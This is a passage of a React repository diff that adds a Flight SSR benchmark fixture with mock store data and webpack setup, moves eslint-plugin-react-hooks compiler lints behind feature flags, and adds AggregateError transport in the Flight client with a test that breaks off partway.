const statuses = ['In Stock', 'Low Stock', 'Out of Stock', 'Discontinued'];
|
||||
const activityTypes = [
|
||||
'order_placed',
|
||||
'order_shipped',
|
||||
'order_delivered',
|
||||
'refund_requested',
|
||||
'review_posted',
|
||||
'product_added',
|
||||
'stock_alert',
|
||||
'payment_received',
|
||||
];
|
||||
const userNames = [
|
||||
'Alice Johnson',
|
||||
'Bob Williams',
|
||||
'Carol Davis',
|
||||
'Dan Miller',
|
||||
'Eve Wilson',
|
||||
'Frank Moore',
|
||||
'Grace Taylor',
|
||||
'Henry Anderson',
|
||||
'Iris Thomas',
|
||||
'Jack Jackson',
|
||||
];
|
||||
const reviewTexts = [
|
||||
'Great product, exactly what I needed. The quality exceeded my expectations and shipping was fast.',
|
||||
'Decent value for the price. Some minor issues with packaging but the product itself works well.',
|
||||
'Not what I expected based on the description. Returning this item for a refund.',
|
||||
'Outstanding quality and craftsmanship. Would highly recommend to anyone looking for this type of item.',
|
||||
'Average product, nothing special. Does what it says but nothing more than that.',
|
||||
];
|
||||
|
||||
export function generateProducts(count) {
|
||||
const products = [];
|
||||
for (let i = 0; i < count; i++) {
|
||||
products.push({
|
||||
id: i,
|
||||
name: 'Product ' + i,
|
||||
sku: 'SKU-' + String(i).padStart(6, '0'),
|
||||
price: (((i * 17 + 3) % 9999) / 100).toFixed(2),
|
||||
category: categories[i % categories.length],
|
||||
status: statuses[i % statuses.length],
|
||||
stock: (i * 7 + 13) % 500,
|
||||
rating: (((i * 3 + 1) % 50) / 10).toFixed(1),
|
||||
reviewCount: (i * 13 + 5) % 200,
|
||||
description:
|
||||
'This is a detailed description for product ' +
|
||||
i +
|
||||
'. It includes specifications, features, and other relevant information that a customer might need.',
|
||||
tags: [
|
||||
categories[(i + 1) % categories.length].toLowerCase(),
|
||||
i % 2 === 0 ? 'featured' : 'new',
|
||||
i % 3 === 0 ? 'sale' : 'regular',
|
||||
],
|
||||
dimensions: {
|
||||
weight: ((i * 3 + 1) % 100) / 10,
|
||||
width: ((i * 7 + 2) % 50) + 5,
|
||||
height: ((i * 11 + 3) % 40) + 5,
|
||||
depth: ((i * 13 + 4) % 30) + 2,
|
||||
unit: 'cm',
|
||||
},
|
||||
supplier: {
|
||||
name: 'Supplier ' + (i % 20),
|
||||
leadTime: (i % 14) + 1 + ' days',
|
||||
minOrder: ((i * 3) % 50) + 10,
|
||||
contact: 'supplier' + (i % 20) + '@example.com',
|
||||
address: {
|
||||
street: ((100 + i * 7) % 9999) + ' Industrial Blvd',
|
||||
city: ['Portland', 'Austin', 'Denver', 'Seattle', 'Boston'][i % 5],
|
||||
state: ['OR', 'TX', 'CO', 'WA', 'MA'][i % 5],
|
||||
zip: String(10000 + ((i * 37) % 89999)),
|
||||
},
|
||||
},
|
||||
specifications: {
|
||||
material: ['Aluminum', 'Plastic', 'Steel', 'Wood', 'Carbon Fiber'][
|
||||
i % 5
|
||||
],
|
||||
color: ['Black', 'White', 'Silver', 'Blue', 'Red', 'Green'][i % 6],
|
||||
warranty: (i % 3) + 1 + ' years',
|
||||
certifications: [
|
||||
i % 2 === 0 ? 'CE' : 'FCC',
|
||||
i % 3 === 0 ? 'RoHS' : 'UL',
|
||||
'ISO 9001',
|
||||
],
|
||||
},
|
||||
reviews: [
|
||||
{
|
||||
author: userNames[(i * 3) % userNames.length],
|
||||
rating: ((i * 7 + 3) % 5) + 1,
|
||||
date:
|
||||
'2026-0' +
|
||||
((i % 3) + 1) +
|
||||
'-' +
|
||||
String((i % 28) + 1).padStart(2, '0'),
|
||||
text: reviewTexts[i % reviewTexts.length],
|
||||
helpful: (i * 11 + 2) % 50,
|
||||
},
|
||||
{
|
||||
author: userNames[(i * 3 + 1) % userNames.length],
|
||||
rating: ((i * 11 + 1) % 5) + 1,
|
||||
date:
|
||||
'2026-0' +
|
||||
((i % 3) + 1) +
|
||||
'-' +
|
||||
String(((i + 5) % 28) + 1).padStart(2, '0'),
|
||||
text: reviewTexts[(i + 2) % reviewTexts.length],
|
||||
helpful: (i * 7 + 5) % 30,
|
||||
},
|
||||
{
|
||||
author: userNames[(i * 3 + 2) % userNames.length],
|
||||
rating: ((i * 13 + 2) % 5) + 1,
|
||||
date:
|
||||
'2026-0' +
|
||||
((i % 3) + 1) +
|
||||
'-' +
|
||||
String(((i + 10) % 28) + 1).padStart(2, '0'),
|
||||
text: reviewTexts[(i + 4) % reviewTexts.length],
|
||||
helpful: (i * 3 + 1) % 20,
|
||||
},
|
||||
],
|
||||
});
|
||||
}
|
||||
return products;
|
||||
}
|
||||
|
||||
export function generateActivities(count) {
|
||||
const activities = [];
|
||||
for (let i = 0; i < count; i++) {
|
||||
activities.push({
|
||||
id: i,
|
||||
type: activityTypes[i % activityTypes.length],
|
||||
user: userNames[i % userNames.length],
|
||||
timestamp:
|
||||
'2026-03-' +
|
||||
String((i % 28) + 1).padStart(2, '0') +
|
||||
'T' +
|
||||
String((i * 7) % 24).padStart(2, '0') +
|
||||
':' +
|
||||
String((i * 13) % 60).padStart(2, '0') +
|
||||
':00Z',
|
||||
details: {
|
||||
orderId: '#' + String(10000 + i),
|
||||
amount: '$' + ((i * 23 + 7) % 999).toFixed(2),
|
||||
items: ((i * 3 + 1) % 5) + 1,
|
||||
shippingMethod: ['Standard', 'Express', 'Overnight', 'Economy'][i % 4],
|
||||
paymentMethod: ['Credit Card', 'PayPal', 'Apple Pay', 'Wire Transfer'][
|
||||
i % 4
|
||||
],
|
||||
},
|
||||
message:
|
||||
userNames[i % userNames.length] +
|
||||
' ' +
|
||||
activityTypes[i % activityTypes.length].replace(/_/g, ' ') +
|
||||
' for order #' +
|
||||
(10000 + i),
|
||||
});
|
||||
}
|
||||
return activities;
|
||||
}
|
||||
|
||||
export function generateStats() {
|
||||
return {
|
||||
totalRevenue: '$1,284,320.50',
|
||||
totalOrders: 8432,
|
||||
totalCustomers: 3841,
|
||||
conversionRate: '3.2%',
|
||||
avgOrderValue: '$152.30',
|
||||
returnsRate: '2.1%',
|
||||
cards: [
|
||||
{
|
||||
title: 'Total Revenue',
|
||||
value: '$1,284,320',
|
||||
change: '+12.5%',
|
||||
trend: 'up',
|
||||
sparkline: [65, 59, 80, 81, 56, 55, 72, 84, 91, 88, 95, 102],
|
||||
},
|
||||
{
|
||||
title: 'Orders',
|
||||
value: '8,432',
|
||||
change: '+8.2%',
|
||||
trend: 'up',
|
||||
sparkline: [28, 48, 40, 19, 86, 27, 90, 65, 72, 81, 56, 88],
|
||||
},
|
||||
{
|
||||
title: 'Customers',
|
||||
value: '3,841',
|
||||
change: '+4.1%',
|
||||
trend: 'up',
|
||||
sparkline: [12, 19, 25, 32, 28, 35, 42, 38, 45, 51, 48, 55],
|
||||
},
|
||||
{
|
||||
title: 'Conversion Rate',
|
||||
value: '3.2%',
|
||||
change: '-0.3%',
|
||||
trend: 'down',
|
||||
sparkline: [3.8, 3.5, 3.2, 3.6, 3.1, 3.4, 3.0, 3.3, 3.5, 3.2, 3.1, 3.2],
|
||||
},
|
||||
],
|
||||
revenueByMonth: [
|
||||
{month: 'Jan 25', value: 72000, orders: 480, returns: 24},
|
||||
{month: 'Feb 25', value: 78000, orders: 520, returns: 31},
|
||||
{month: 'Mar 25', value: 85000, orders: 567, returns: 28},
|
||||
{month: 'Apr 25', value: 92000, orders: 613, returns: 35},
|
||||
{month: 'May 25', value: 88000, orders: 587, returns: 29},
|
||||
{month: 'Jun 25', value: 105000, orders: 700, returns: 42},
|
||||
{month: 'Jul 25', value: 112000, orders: 747, returns: 38},
|
||||
{month: 'Aug 25', value: 98000, orders: 653, returns: 33},
|
||||
{month: 'Sep 25', value: 115000, orders: 767, returns: 41},
|
||||
{month: 'Oct 25', value: 108000, orders: 720, returns: 36},
|
||||
{month: 'Nov 25', value: 120000, orders: 800, returns: 44},
|
||||
{month: 'Dec 25', value: 118320, orders: 789, returns: 39},
|
||||
{month: 'Jan 26', value: 85000, orders: 567, returns: 28},
|
||||
{month: 'Feb 26', value: 92000, orders: 613, returns: 32},
|
||||
{month: 'Mar 26', value: 95000, orders: 633, returns: 30},
|
||||
{month: 'Apr 26', value: 110000, orders: 733, returns: 37},
|
||||
{month: 'May 26', value: 118000, orders: 787, returns: 40},
|
||||
{month: 'Jun 26', value: 105000, orders: 700, returns: 35},
|
||||
{month: 'Jul 26', value: 122000, orders: 813, returns: 43},
|
||||
{month: 'Aug 26', value: 115000, orders: 767, returns: 38},
|
||||
{month: 'Sep 26', value: 128000, orders: 853, returns: 45},
|
||||
{month: 'Oct 26', value: 125000, orders: 833, returns: 42},
|
||||
{month: 'Nov 26', value: 135000, orders: 900, returns: 47},
|
||||
{month: 'Dec 26', value: 130000, orders: 867, returns: 44},
|
||||
],
|
||||
topCategories: [
|
||||
{
|
||||
name: 'Electronics',
|
||||
revenue: 420000,
|
||||
orders: 2800,
|
||||
avgPrice: 150,
|
||||
growth: '+15.2%',
|
||||
},
|
||||
{
|
||||
name: 'Clothing',
|
||||
revenue: 310000,
|
||||
orders: 2100,
|
||||
avgPrice: 147.6,
|
||||
growth: '+8.7%',
|
||||
},
|
||||
{
|
||||
name: 'Home & Garden',
|
||||
revenue: 225000,
|
||||
orders: 1500,
|
||||
avgPrice: 150,
|
||||
growth: '+12.1%',
|
||||
},
|
||||
{
|
||||
name: 'Sports',
|
||||
revenue: 180000,
|
||||
orders: 1200,
|
||||
avgPrice: 150,
|
||||
growth: '+5.3%',
|
||||
},
|
||||
{
|
||||
name: 'Books',
|
||||
revenue: 149320,
|
||||
orders: 832,
|
||||
avgPrice: 179.5,
|
||||
growth: '+2.1%',
|
||||
},
|
||||
{
|
||||
name: 'Toys',
|
||||
revenue: 95000,
|
||||
orders: 680,
|
||||
avgPrice: 139.7,
|
||||
growth: '+18.4%',
|
||||
},
|
||||
{
|
||||
name: 'Food',
|
||||
revenue: 82000,
|
||||
orders: 1640,
|
||||
avgPrice: 50,
|
||||
growth: '+6.8%',
|
||||
},
|
||||
{
|
||||
name: 'Health',
|
||||
revenue: 73000,
|
||||
orders: 520,
|
||||
avgPrice: 140.4,
|
||||
growth: '+22.1%',
|
||||
},
|
||||
],
|
||||
};
|
||||
}
|
||||
22
fixtures/flight-ssr-bench/src/entry-rsc.js
Normal file
22
fixtures/flight-ssr-bench/src/entry-rsc.js
Normal file
@@ -0,0 +1,22 @@
|
||||
import {
|
||||
renderToPipeableStream,
|
||||
renderToReadableStream,
|
||||
} from 'react-server-dom-webpack/server';
|
||||
import App from './App';
|
||||
import AppAsync from './AppAsync';
|
||||
|
||||
export function renderRSCNode(clientManifest, Component, itemCount) {
|
||||
return renderToPipeableStream(
|
||||
<Component itemCount={itemCount} />,
|
||||
clientManifest
|
||||
);
|
||||
}
|
||||
|
||||
export function renderRSCEdge(clientManifest, Component, itemCount) {
|
||||
return renderToReadableStream(
|
||||
<Component itemCount={itemCount} />,
|
||||
clientManifest
|
||||
);
|
||||
}
|
||||
|
||||
export {App, AppAsync};
|
||||
62
fixtures/flight-ssr-bench/webpack-mock.js
Normal file
62
fixtures/flight-ssr-bench/webpack-mock.js
Normal file
@@ -0,0 +1,62 @@
|
||||
'use strict';
|
||||
|
||||
const path = require('path');
|
||||
const url = require('url');
|
||||
const fs = require('fs');
|
||||
|
||||
const clientModules = {};
|
||||
const clientManifest = {};
|
||||
const ssrModuleMap = {};
|
||||
let moduleIdx = 0;
|
||||
|
||||
function registerClientModule(modulePath) {
|
||||
const id = String(moduleIdx++);
|
||||
const chunkId = 'chunk-' + id;
|
||||
const absPath = path.resolve(__dirname, modulePath);
|
||||
const actualExports = require(absPath);
|
||||
clientModules[id] = actualExports;
|
||||
|
||||
const href = url.pathToFileURL(absPath).href;
|
||||
clientManifest[href] = {id, chunks: [chunkId, absPath], name: '*'};
|
||||
ssrModuleMap[id] = {'*': {id, chunks: [chunkId, absPath], name: '*'}};
|
||||
}
|
||||
|
||||
// Auto-register all 'use client' components by scanning src/
|
||||
const srcDirs = [
|
||||
path.resolve(__dirname, 'src'),
|
||||
path.resolve(__dirname, 'src/components'),
|
||||
];
|
||||
for (const dir of srcDirs) {
|
||||
if (!fs.existsSync(dir)) continue;
|
||||
for (const file of fs.readdirSync(dir)) {
|
||||
if (!file.endsWith('.js')) continue;
|
||||
const filePath = path.join(dir, file);
|
||||
const source = fs.readFileSync(filePath, 'utf-8');
|
||||
if (
|
||||
source.trimStart().startsWith("'use client'") ||
|
||||
source.trimStart().startsWith('"use client"')
|
||||
) {
|
||||
registerClientModule(filePath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
global.__webpack_require__ = function (id) {
|
||||
if (clientModules[id]) {
|
||||
return clientModules[id];
|
||||
}
|
||||
throw new Error('Unknown module: ' + id);
|
||||
};
|
||||
global.__webpack_chunk_load__ = function () {
|
||||
return new Promise(function (resolve) {
|
||||
setImmediate(resolve);
|
||||
});
|
||||
};
|
||||
|
||||
const ssrManifest = {
|
||||
moduleMap: ssrModuleMap,
|
||||
moduleLoading: null,
|
||||
serverModuleMap: null,
|
||||
};
|
||||
|
||||
module.exports = {clientManifest, ssrManifest};
|
||||
45
fixtures/flight-ssr-bench/webpack.config.js
Normal file
45
fixtures/flight-ssr-bench/webpack.config.js
Normal file
@@ -0,0 +1,45 @@
|
||||
'use strict';
|
||||
|
||||
const path = require('path');
|
||||
|
||||
module.exports = {
|
||||
name: 'rsc',
|
||||
target: 'node',
|
||||
entry: './src/entry-rsc.js',
|
||||
output: {
|
||||
path: path.resolve(__dirname, 'build'),
|
||||
filename: 'rsc-bundle.js',
|
||||
library: {type: 'commonjs2'},
|
||||
clean: true,
|
||||
},
|
||||
resolve: {
|
||||
// This is the key: react-server condition makes `react` resolve to the
|
||||
// server variant that supports async components, server references, etc.
|
||||
conditionNames: ['react-server', 'node', 'require'],
|
||||
extensions: ['.js', '.jsx'],
|
||||
},
|
||||
module: {
|
||||
rules: [
|
||||
{
|
||||
// Custom loader that replaces 'use client' modules with client
|
||||
// reference proxies. Must run before babel.
|
||||
enforce: 'pre',
|
||||
test: /\.jsx?$/,
|
||||
exclude: /node_modules/,
|
||||
loader: path.resolve(__dirname, 'rsc-client-ref-loader.js'),
|
||||
},
|
||||
{
|
||||
test: /\.jsx?$/,
|
||||
exclude: /node_modules/,
|
||||
loader: require.resolve('babel-loader'),
|
||||
options: {
|
||||
presets: [['@babel/preset-react', {runtime: 'automatic'}]],
|
||||
},
|
||||
},
|
||||
],
|
||||
},
|
||||
// Production mode but no minification — we want optimized code paths
|
||||
// but readable profiles and a fair comparison between approaches.
|
||||
mode: 'production',
|
||||
optimization: {minimize: false},
|
||||
};
|
||||
1463
fixtures/flight-ssr-bench/yarn.lock
Normal file
1463
fixtures/flight-ssr-bench/yarn.lock
Normal file
File diff suppressed because it is too large
Load Diff
@@ -936,8 +936,8 @@ punycode@^1.2.4, punycode@^1.4.1:
|
||||
resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
|
||||
|
||||
qs@~6.4.0:
|
||||
version "6.4.0"
|
||||
resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.0.tgz#13e26d28ad6b0ffaa91312cd3bf708ed351e7233"
|
||||
version "6.4.1"
|
||||
resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.1.tgz#2bad97710a5b661c366b378b1e3a44a592ff45e6"
|
||||
|
||||
querystring-es3@^0.2.0:
|
||||
version "0.2.1"
|
||||
|
||||
@@ -936,8 +936,8 @@ punycode@^1.2.4, punycode@^1.4.1:
|
||||
resolved "https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
|
||||
|
||||
qs@~6.4.0:
|
||||
version "6.4.0"
|
||||
resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.0.tgz#13e26d28ad6b0ffaa91312cd3bf708ed351e7233"
|
||||
version "6.4.1"
|
||||
resolved "https://registry.yarnpkg.com/qs/-/qs-6.4.1.tgz#2bad97710a5b661c366b378b1e3a44a592ff45e6"
|
||||
|
||||
querystring-es3@^0.2.0:
|
||||
version "0.2.1"
|
||||
|
||||
2
flow-typed/environments/dom.js
vendored
2
flow-typed/environments/dom.js
vendored
@@ -1415,6 +1415,8 @@ declare class Document extends Node {
|
||||
links: HTMLCollection<HTMLLinkElement>;
|
||||
media: string;
|
||||
open(url?: string, name?: string, features?: string, replace?: boolean): any;
|
||||
/** @see {@link https://developer.mozilla.org/en-US/docs/Web/API/Document/prerendering} */
|
||||
prerendering: boolean;
|
||||
readyState: string;
|
||||
referrer: string;
|
||||
scripts: HTMLCollection<HTMLScriptElement>;
|
||||
|
||||
@@ -128,6 +128,7 @@
|
||||
"build-for-devtools-dev": "yarn build-for-devtools --type=NODE_DEV",
|
||||
"build-for-devtools-prod": "yarn build-for-devtools --type=NODE_PROD",
|
||||
"build-for-flight-dev": "cross-env RELEASE_CHANNEL=experimental node ./scripts/rollup/build.js react/index,react/jsx,react.react-server,react-dom/index,react-dom/client,react-dom/server,react-dom.react-server,react-dom-server.node,react-dom-server-legacy.node,scheduler,react-server-dom-webpack/,react-server-dom-unbundled/ --type=NODE_DEV,ESM_PROD,NODE_ES2015 && mv ./build/node_modules ./build/oss-experimental",
|
||||
"build-for-flight-prod": "cross-env RELEASE_CHANNEL=experimental node ./scripts/rollup/build.js react/index,react/jsx,react.react-server,react-dom/index,react-dom/client,react-dom/server,react-dom.react-server,react-dom-server.node,react-dom-server-legacy.node,scheduler,react-server-dom-webpack/,react-server-dom-unbundled/ --type=NODE_PROD,ESM_PROD,NODE_ES2015 && mv ./build/node_modules ./build/oss-experimental",
|
||||
"build-for-vt-dev": "cross-env RELEASE_CHANNEL=experimental node ./scripts/rollup/build.js react/index,react/jsx,react-dom/index,react-dom/client,react-dom/server,react-dom-server.node,react-dom-server-legacy.node,scheduler --type=NODE_DEV && mv ./build/node_modules ./build/oss-experimental",
|
||||
"flow-typed-install": "yarn flow-typed install --skip --skipFlowRestart --ignore-deps=dev",
|
||||
"linc": "node ./scripts/tasks/linc.js",
|
||||
|
||||
@@ -1,3 +1,16 @@
|
||||
## 7.1.0
|
||||
|
||||
This release adds ESLint v10 support, improves performance by skipping compilation for non-React files, and includes compiler lint improvements including better `set-state-in-effect` detection, improved ref validation, and more helpful error reporting.
|
||||
|
||||
- Add ESLint v10 support. ([@nicolo-ribaudo](https://github.com/nicolo-ribaudo) in [#35720](https://github.com/facebook/react/pull/35720))
|
||||
- Skip compilation for non-React files to improve performance. ([@josephsavona](https://github.com/josephsavona) in [#35589](https://github.com/facebook/react/pull/35589))
|
||||
- Fix exhaustive deps bug with Flow type casting. ([@jorge-cab](https://github.com/jorge-cab) in [#35691](https://github.com/facebook/react/pull/35691))
|
||||
- Fix `useEffectEvent` checks in component syntax. ([@jbrown215](https://github.com/jbrown215) in [#35041](https://github.com/facebook/react/pull/35041))
|
||||
- Improved `set-state-in-effect` validation with fewer false negatives. ([@jorge-cab](https://github.com/jorge-cab) in [#35134](https://github.com/facebook/react/pull/35134), [@josephsavona](https://github.com/josephsavona) in [#35147](https://github.com/facebook/react/pull/35147), [@jackpope](https://github.com/jackpope) in [#35214](https://github.com/facebook/react/pull/35214), [@chesnokov-tony](https://github.com/chesnokov-tony) in [#35419](https://github.com/facebook/react/pull/35419), [@jsleitor](https://github.com/jsleitor) in [#36107](https://github.com/facebook/react/pull/36107))
|
||||
- Improved ref validation for non-mutating functions and event handler props. ([@josephsavona](https://github.com/josephsavona) in [#35893](https://github.com/facebook/react/pull/35893), [@kolvian](https://github.com/kolvian) in [#35062](https://github.com/facebook/react/pull/35062))
|
||||
- Compiler now reports all errors instead of stopping at the first. ([@josephsavona](https://github.com/josephsavona) in [#35873](https://github.com/facebook/react/pull/35873)–[#35884](https://github.com/facebook/react/pull/35884))
|
||||
- Improved source locations and error display in compiler diagnostics. ([@nathanmarks](https://github.com/nathanmarks) in [#35348](https://github.com/facebook/react/pull/35348), [@josephsavona](https://github.com/josephsavona) in [#34963](https://github.com/facebook/react/pull/34963))
|
||||
|
||||
## 7.0.1
|
||||
|
||||
- Disallowed passing inline `useEffectEvent` values as JSX props to guard against accidental propagation. ([#34820](https://github.com/facebook/react/pull/34820) by [@jf-eirinha](https://github.com/jf-eirinha))
|
||||
|
||||
15
packages/eslint-plugin-react-hooks/src/shared/ReactFeatureFlags.d.ts
vendored
Normal file
15
packages/eslint-plugin-react-hooks/src/shared/ReactFeatureFlags.d.ts
vendored
Normal file
@@ -0,0 +1,15 @@
|
||||
/**
|
||||
* Type declarations for shared/ReactFeatureFlags
|
||||
*
|
||||
* This allows importing from the Flow-typed ReactFeatureFlags.js file
|
||||
* without TypeScript errors.
|
||||
*/
|
||||
declare module 'shared/ReactFeatureFlags' {
|
||||
export const eprh_enableUseKeyedStateCompilerLint: boolean;
|
||||
export const eprh_enableVerboseNoSetStateInEffectCompilerLint: boolean;
|
||||
export const eprh_enableExhaustiveEffectDependenciesCompilerLint:
|
||||
| 'off'
|
||||
| 'all'
|
||||
| 'extra-only'
|
||||
| 'missing-only';
|
||||
}
|
||||
@@ -21,6 +21,11 @@ import type * as ESTree from 'estree';
|
||||
import * as HermesParser from 'hermes-parser';
|
||||
import {isDeepStrictEqual} from 'util';
|
||||
import type {ParseResult} from '@babel/parser';
|
||||
import {
|
||||
eprh_enableUseKeyedStateCompilerLint,
|
||||
eprh_enableVerboseNoSetStateInEffectCompilerLint,
|
||||
eprh_enableExhaustiveEffectDependenciesCompilerLint,
|
||||
} from 'shared/ReactFeatureFlags';
|
||||
|
||||
// Pattern for component names: starts with uppercase letter
|
||||
const COMPONENT_NAME_PATTERN = /^[A-Z]/;
|
||||
@@ -81,10 +86,7 @@ function checkTopLevelNode(node: ESTree.Node): boolean {
|
||||
// Also handles Flow component/hook syntax transformed to FunctionDeclaration with flags
|
||||
if (node.type === 'FunctionDeclaration') {
|
||||
// Check for Hermes-added flags indicating Flow component/hook syntax
|
||||
if (
|
||||
'__componentDeclaration' in node ||
|
||||
'__hookDeclaration' in node
|
||||
) {
|
||||
if ('__componentDeclaration' in node || '__hookDeclaration' in node) {
|
||||
return true;
|
||||
}
|
||||
const id = (node as ESTree.FunctionDeclaration).id;
|
||||
@@ -107,7 +109,10 @@ function checkTopLevelNode(node: ESTree.Node): boolean {
|
||||
init.type === 'FunctionExpression')
|
||||
) {
|
||||
const name = decl.id.name;
|
||||
if (COMPONENT_NAME_PATTERN.test(name) || HOOK_NAME_PATTERN.test(name)) {
|
||||
if (
|
||||
COMPONENT_NAME_PATTERN.test(name) ||
|
||||
HOOK_NAME_PATTERN.test(name)
|
||||
) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -136,10 +141,13 @@ const COMPILER_OPTIONS: PluginOptions = {
|
||||
validateNoCapitalizedCalls: [],
|
||||
validateHooksUsage: true,
|
||||
validateNoDerivedComputationsInEffects: true,
|
||||
// Temporarily enabled for internal testing
|
||||
enableUseKeyedState: true,
|
||||
enableVerboseNoSetStateInEffect: true,
|
||||
validateExhaustiveEffectDependencies: 'extra-only',
|
||||
|
||||
// Experimental options controlled by ReactFeatureFlags
|
||||
enableUseKeyedState: eprh_enableUseKeyedStateCompilerLint,
|
||||
enableVerboseNoSetStateInEffect:
|
||||
eprh_enableVerboseNoSetStateInEffectCompilerLint,
|
||||
validateExhaustiveEffectDependencies:
|
||||
eprh_enableExhaustiveEffectDependenciesCompilerLint,
|
||||
},
|
||||
};
|
||||
|
||||
|
||||
@@ -9,7 +9,8 @@
|
||||
"types": ["estree-jsx", "node"],
|
||||
"downlevelIteration": true,
|
||||
"paths": {
|
||||
"babel-plugin-react-compiler": ["../../compiler/packages/babel-plugin-react-compiler/src"]
|
||||
"babel-plugin-react-compiler": ["../../compiler/packages/babel-plugin-react-compiler/src"],
|
||||
"shared/*": ["../shared/*"]
|
||||
},
|
||||
"jsx": "react-jsxdev",
|
||||
"rootDir": "../..",
|
||||
|
||||
@@ -122,7 +122,6 @@ ${diff(expectedLog, actualLog)}
|
||||
|
||||
function aggregateErrors(errors: Array<mixed>): mixed {
|
||||
if (errors.length > 1 && typeof AggregateError === 'function') {
|
||||
// eslint-disable-next-line no-undef
|
||||
return new AggregateError(errors);
|
||||
}
|
||||
return errors[0];
|
||||
|
||||
@@ -34,7 +34,6 @@ async function waitForMicrotasks() {
|
||||
|
||||
function aggregateErrors(errors: Array<mixed>): mixed {
|
||||
if (errors.length > 1 && typeof AggregateError === 'function') {
|
||||
// eslint-disable-next-line no-undef
|
||||
return new AggregateError(errors);
|
||||
}
|
||||
return errors[0];
|
||||
|
||||
7
packages/react-client/flight.js
vendored
7
packages/react-client/flight.js
vendored
@@ -7,4 +7,11 @@
|
||||
* @flow
|
||||
*/
|
||||
|
||||
import typeof * as FlightClientAPI from './src/ReactFlightClient';
|
||||
import typeof * as HostConfig from './src/ReactFlightClientConfig';
|
||||
|
||||
export * from './src/ReactFlightClient';
|
||||
|
||||
// At build time, this module is wrapped as a factory function ($$$reconciler).
|
||||
// Consumers pass a host config object and get back the Flight client API.
|
||||
declare export default (hostConfig: HostConfig) => FlightClientAPI;
|
||||
|
||||
43
packages/react-client/src/ReactFlightClient.js
vendored
43
packages/react-client/src/ReactFlightClient.js
vendored
@@ -1040,6 +1040,8 @@ function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
|
||||
// Initialize any debug info and block the initializing chunk on any
|
||||
// unresolved entries.
|
||||
initializeDebugChunk(response, chunk);
|
||||
// TODO: The chunk might have transitioned to ERRORED now.
|
||||
// Should we return early if that happens?
|
||||
}
|
||||
|
||||
try {
|
||||
@@ -1075,6 +1077,7 @@ function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
|
||||
const initializedChunk: InitializedChunk<T> = (chunk: any);
|
||||
initializedChunk.status = INITIALIZED;
|
||||
initializedChunk.value = value;
|
||||
initializedChunk.reason = null;
|
||||
|
||||
if (__DEV__) {
|
||||
processChunkDebugInfo(response, initializedChunk, value);
|
||||
@@ -1097,6 +1100,7 @@ function initializeModuleChunk<T>(chunk: ResolvedModuleChunk<T>): void {
|
||||
const initializedChunk: InitializedChunk<T> = (chunk: any);
|
||||
initializedChunk.status = INITIALIZED;
|
||||
initializedChunk.value = value;
|
||||
initializedChunk.reason = null;
|
||||
} catch (error) {
|
||||
const erroredChunk: ErroredChunk<T> = (chunk: any);
|
||||
erroredChunk.status = ERRORED;
|
||||
@@ -3521,7 +3525,8 @@ function resolveErrorDev(
|
||||
|
||||
let error;
|
||||
const errorOptions =
|
||||
'cause' in errorInfo
|
||||
// We don't serialize Error.cause in prod so we never need to deserialize
|
||||
__DEV__ && 'cause' in errorInfo
|
||||
? {
|
||||
cause: reviveModel(
|
||||
response,
|
||||
@@ -3532,18 +3537,40 @@ function resolveErrorDev(
|
||||
),
|
||||
}
|
||||
: undefined;
|
||||
const isAggregateError =
|
||||
typeof AggregateError !== 'undefined' && 'errors' in errorInfo;
|
||||
const revivedErrors =
|
||||
// We don't serialize AggregateError.errors in prod so we never need to deserialize
|
||||
__DEV__ && isAggregateError
|
||||
? reviveModel(
|
||||
response,
|
||||
// $FlowFixMe[incompatible-cast]
|
||||
(errorInfo.errors: JSONValue),
|
||||
errorInfo,
|
||||
'errors',
|
||||
)
|
||||
: null;
|
||||
const callStack = buildFakeCallStack(
|
||||
response,
|
||||
stack,
|
||||
env,
|
||||
false,
|
||||
// $FlowFixMe[incompatible-use]
|
||||
Error.bind(
|
||||
null,
|
||||
message ||
|
||||
'An error occurred in the Server Components render but no message was provided',
|
||||
errorOptions,
|
||||
),
|
||||
isAggregateError
|
||||
? // $FlowFixMe[incompatible-use]
|
||||
AggregateError.bind(
|
||||
null,
|
||||
revivedErrors,
|
||||
message ||
|
||||
'An error occurred in the Server Components render but no message was provided',
|
||||
errorOptions,
|
||||
)
|
||||
: // $FlowFixMe[incompatible-use]
|
||||
Error.bind(
|
||||
null,
|
||||
message ||
|
||||
'An error occurred in the Server Components render but no message was provided',
|
||||
errorOptions,
|
||||
),
|
||||
);
|
||||
|
||||
let ownerTask: null | ConsoleTask = null;
|
||||
|
||||
@@ -840,6 +840,204 @@ describe('ReactFlight', () => {
|
||||
}
|
||||
});
|
||||
|
||||
it('can transport AggregateError', async () => {
|
||||
function renderError(error) {
|
||||
if (!(error instanceof Error)) {
|
||||
return `${JSON.stringify(error)}`;
|
||||
}
|
||||
let result = `
|
||||
is error: ${error instanceof AggregateError ? 'AggregateError' : 'Error'}
|
||||
name: ${error.name}
|
||||
message: ${error.message}
|
||||
stack: ${normalizeCodeLocInfo(error.stack).split('\n').slice(0, 2).join('\n')}
|
||||
environmentName: ${error.environmentName}
|
||||
cause: ${'cause' in error ? renderError(error.cause) : 'no cause'}`;
|
||||
if ('errors' in error) {
|
||||
result += `
|
||||
errors: [${error.errors.map(e => renderError(e)).join(',\n')}]`;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
function ComponentClient({error}) {
|
||||
return renderError(error);
|
||||
}
|
||||
const Component = clientReference(ComponentClient);
|
||||
|
||||
function ServerComponent() {
|
||||
const error1 = new TypeError('first error');
|
||||
const error2 = new RangeError('second error');
|
||||
const error = new AggregateError([error1, error2], 'aggregate');
|
||||
return <Component error={error} />;
|
||||
}
|
||||
|
||||
const transport = ReactNoopFlightServer.render(<ServerComponent />, {
|
||||
onError(x) {
|
||||
if (__DEV__) {
|
||||
return 'a dev digest';
|
||||
}
|
||||
return `digest("${x.message}")`;
|
||||
},
|
||||
});
|
||||
|
||||
await act(() => {
|
||||
ReactNoop.render(ReactNoopFlightClient.read(transport));
|
||||
});
|
||||
|
||||
if (__DEV__) {
|
||||
